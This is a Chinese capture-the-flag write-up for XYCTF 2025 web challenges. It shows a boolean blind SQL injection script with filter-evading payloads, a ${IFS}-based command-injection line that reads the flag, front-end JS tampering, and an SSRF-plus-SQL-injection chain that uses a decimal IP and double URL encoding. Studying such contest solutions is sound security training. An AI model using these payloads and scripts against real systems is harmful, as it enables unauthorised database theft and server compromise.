xyctf2025-wp

发布于 4 小时前  4 次阅读


xyctf2025

web

ezsql(手动滑稽)

到登录界面

简单测试得到以下字符被拦截

字符: '\n' 字符: '\x0b' 字符: '\x0c' 字符: '\r' 字符: ' ' 字符: '*' 字符: '+' 字符: ',' 字符: '-' 字符: '|' 

测试万能钥匙并简单将空格替换为%09

username=admin'%09OR%09'1'%09=%09'1'%23%09&password=123

可以发现注入点在这里username=admin'

测试其它方法的回显都不行

确认为真可以跳转到doublecheck.php

img

采取布尔盲注入

写的时候发现AND也被过滤了

import requests

TARGET_URL = "http://eci-2ze3awa74o1tyqme7p6w.cloudeci1.ichunqiu.com/"
SUCCESS_PATH = "doublecheck.php"
HEADERS = {"User-Agent": "Mozilla/5.0"}

def is_true_condition(payload):
    data = {"username": payload, "password": "123"}
    try:
        resp = requests.post(
            TARGET_URL, data=data, headers=HEADERS, allow_redirects=False, timeout=5
        )
    except requests.exceptions.RequestException:
        return False
    if resp.status_code == 302 and "Location" in resp.headers:
        return SUCCESS_PATH in resp.headers["Location"]
    return False

def blind_get_length(sql_expr, max_length=200):
    for length_guess in range(1, max_length + 1):
        payload = f"admin'\tOR\tlength({sql_expr})={length_guess}\t#\t"
        if is_true_condition(payload):
            return length_guess
    return 0

def blind_get_string(sql_expr, str_length):
    result = []
    for pos in range(1, str_length + 1):
        for ascii_code in range(32, 127):
            payload = f"admin'\tOR\tascii(substring({sql_expr}\tfrom\t{pos}\tfor\t1))={ascii_code}\t#\t"
            if is_true_condition(payload):
                result.append(chr(ascii_code))
                break
        else:
            result.append("?")
    return "".join(result)

def get_database_name():
    db_len = blind_get_length("database()", 50)
    return blind_get_string("database()", db_len) if db_len else ""

def get_table_list(db_name):
    sql_expr = f"(SELECT\tGROUP_CONCAT(table_name\tSEPARATOR\t':')\tFROM\tinformation_schema.tables\tWHERE\ttable_schema='{db_name}')"
    length = blind_get_length(sql_expr, 1000)
    if length == 0:
        return []
    tables_str = blind_get_string(sql_expr, length)
    return tables_str.split(":")

def get_column_list(db_name, table_name):
    sql_expr = (
        f"(SELECT\tGROUP_CONCAT(column_name\tSEPARATOR\t':')"
        f"\tFROM\tinformation_schema.columns"
        f"\tWHERE\ttable_schema='{db_name}'\tOR\ttable_name='{table_name}')"
    )
    length = blind_get_length(sql_expr, 2000)
    if length == 0:
        return []
    cols_str = blind_get_string(sql_expr, length)
    col_list = cols_str.split(":")
    print(f"[+] 表[{table_name}]的列: {col_list}")
    return col_list

def get_single_cell_value(db, table, column, row_index):
    sql_expr = f"(SELECT\t{column}\tFROM\t{db}.{table}\tLIMIT\t1\tOFFSET\t{row_index})"
    length = blind_get_length(sql_expr, 100)
    return blind_get_string(sql_expr, length) if length else ""

def get_table_data(db_name, table_name, col_list, limit=3):
    for row_index in range(limit):
        row = []
        for col in col_list:
            row.append(get_single_cell_value(db_name, table_name, col, row_index))
        print(f"第 {row_index + 1} 行数据:{row}")

def main():
    db_name = get_database_name()
    if not db_name:
        return
    print(f"当前数据库名: {db_name}")

    tables = get_table_list(db_name)
    if not tables:
        return
    print(f"表: {tables}")

    for t in tables:
        if not t:
            continue
        cols = get_column_list(db_name, t)
        get_table_data(db_name, t, cols, limit=3)

if __name__ == "__main__":
    main()
库名testdb
表: ['double_check', 'user']
列: ['secret', 'username', 'password']
数据:['dtfrtkcc0czkoua9S', 'yudeyoushang', 'zhonghengyisheng']

按照填入进入到命令执行

image-20250405210505415

对空格,echobashphp都有过滤

不过有find和写权限,因此

find${IFS}/${IFS}-type${IFS}f${IFS}-name${IFS}'fl*'${IFS}-exec${IFS}cat${IFS}{}${IFS}\;${IFS}>flag

然后/flag下载下来就有

image-20250405210925876

XYCTF{f635b051-39fa-4a6b-a798-b048cceef9d9}

ez_puzzle

看到纯前端js

image-20250405215407813

格式化后玩一下,发现结束会弹弹窗,带确认框,考虑为alert()

image-20250405215528903

应该是这,对调一下覆盖原js之后玩玩

image-20250405215521790

flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

Fate

flagsql里面

import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

分析源码发现读取/1337只允许在内网被访问

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')

    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

先通过/proxy路由可以拼接访问,用@可以屏蔽前面的http://lamentxu.top,然后禁止了.,就将ip10进制访问

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

随后访问/1337通过,要先0通过if code == 'abcdefghi':但是前面已经限制了字母,就通过二次url编码绕过(可以在第二次转发会再解码一次)

1则是要求编码为二进制

if len(name) > 6:
                flask.abort(400, "Too long")
      if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")

len(dict)可以把内容包裹成字典绕过,但是就没法直接查询获得flag了,于是看向构造

SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))

先闭合前面的'然后闭合) 通过UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'查询返回,最后--截断后面的

最后构造为

/proxy?url=@2130706433:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101
QQ:2219349024
最后更新于 2025-04-20